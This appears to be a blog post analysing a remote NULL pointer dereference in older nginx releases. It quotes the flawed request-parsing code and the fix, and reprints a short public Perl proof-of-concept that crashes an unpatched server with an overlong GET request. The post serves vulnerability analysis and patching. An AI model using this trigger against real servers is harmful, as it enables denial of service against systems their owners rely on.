nginx Remote NULL Pointer Dereference

A few days ago, “zeus penguin” posted a bug report along with a PoC trigger code in FD mailing list. The bug was not affecting the latest releases of nginx web server and this is why I did not consider it such an amazing discovery. Nevertheless, it is still an interesting vulnerability affecting 0.8 branch up to 0.8.13, 0.7 branch up to 0.7.61, 0.6 up to 0.6.38, 0.5 up to 0.5.37 and finally, 0.4 up to 0.4.14. Here is the buggy code from 0.8.13 release of the popular web server:

static void
ngx_http_process_request_headers(ngx_event_t *rev)
{
    ssize_t                     n;
    ngx_int_t                   rc, rv;
    ngx_str_t                   header;
    ngx_table_elt_t            *h;
    ngx_connection_t           *c;
    ngx_http_header_t          *hh;
    ngx_http_request_t         *r;
    ngx_http_core_srv_conf_t   *cscf;
    ngx_http_core_main_conf_t  *cmcf;

    c = rev->data;
    r = c->data;
      ...
    rc = NGX_AGAIN;

    for ( ;; ) {

        if (rc == NGX_AGAIN) {
      ...
                if (rv == NGX_DECLINED) {
                    header.len = r->header_in->end - r->header_name_start;
                    header.data = r->header_name_start;

                    if (header.len > NGX_MAX_ERROR_STR - 300) {
                        header.len = NGX_MAX_ERROR_STR - 300;
                        header.data[header.len++] = '.';
                        header.data[header.len++] = '.';
                        header.data[header.len++] = '.';
                    }

                    ngx_log_error(NGX_LOG_INFO, c->log, 0,
                                  "client sent too long header line: \"%V\"",
                                  &header);
                    ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST);
                    return;
      ...
}

This seems to be just fine, however, ‘header.len’ as well as ‘header.data’ are initialized using request’s ‘header_name_start’ value which could be NULL under certain circumstances. This results in a quite controlled length parameter in the HTTP header as well as some controlled writes of ‘.’ to the calculated offsets from NULL (assuming ‘header.data’ is pointing to NULL).
The above code was found at src/http/ngx_http_request.c but the missing initialization of request’s ‘header_name_start’ member is located at src/http/ngx_http_parse.c like this:

/* gcc, icc, msvc and others compile these switches as an jump table */

ngx_int_t
ngx_http_parse_request_line(ngx_http_request_t *r, ngx_buf_t *b)
{
    u_char  c, ch, *p, *m;
    enum {
        sw_start = 0,
        sw_method,
   ...
    } state;
   ...
    state = r->state;
    hash = r->header_hash;
    i = r->lowcase_index;

    for (p = b->pos; p < b->last; p++) {
        ch = *p;

        switch (state) {

        /* first char */
        case sw_start:
            r->invalid_header = 0;

            switch (ch) {
            case CR:
                r->header_end = p;
                state = sw_header_almost_done;
                break;
            case LF:
                r->header_end = p;
                goto header_done;
            default:
                state = sw_name;
                r->header_name_start = p;

                c = lowcase[ch];

                if (c) {
                    hash = ngx_hash(0, c);
                    r->lowcase_header[0] = c;
                    i = 1;
                    break;
                }

                r->invalid_header = 1;

                break;

            }
            break;

As you can read, in case of a CR or LF, the request header’s end is updated to point to that location. However, if this is not the case, it will fall to the default case which simply initializes the header’s name beginning represented by ‘r->header_name_start’ with whatever the request contains and marks the request as invalid using the ‘r->invalid_header’ flag. Now, you might be able to spot the bug…
The only case that the ‘r->header_name_start’ is initialized correctly is the default case. Any subsequent operations on that member as for example those performed by ngx_http_process_request_headers() could result in a NULL pointer dereference. To fix this, the initialization was removed from the above default case:

                 state = sw_name;
-                r->header_name_start = p;
 
                 c = lowcase[ch];

And it was added in the beginning of the request HTTP parsing:

         /* first char */
         case sw_start:
+            r->header_name_start = p;
             r->invalid_header = 0;

Now, the PoC code released by “zeus penguin” is a simple Perl script that does the following:

#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl <hostname>\n"; 
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";

while(<$sock>) {
        print;
}

This code simply creates an HTTP GET request, requesting 4079 x “o” string from the root directory of the web server. This will result in falling to the expected CR/LF cases and then marked with ‘NGX_DECLINED’ in ngx_http_process_request_headers() because of the long header line and subsequently, to the write operations on the ‘header.data’ which was incorrectly initialized using the NULL pointer ‘r->header_name_start’.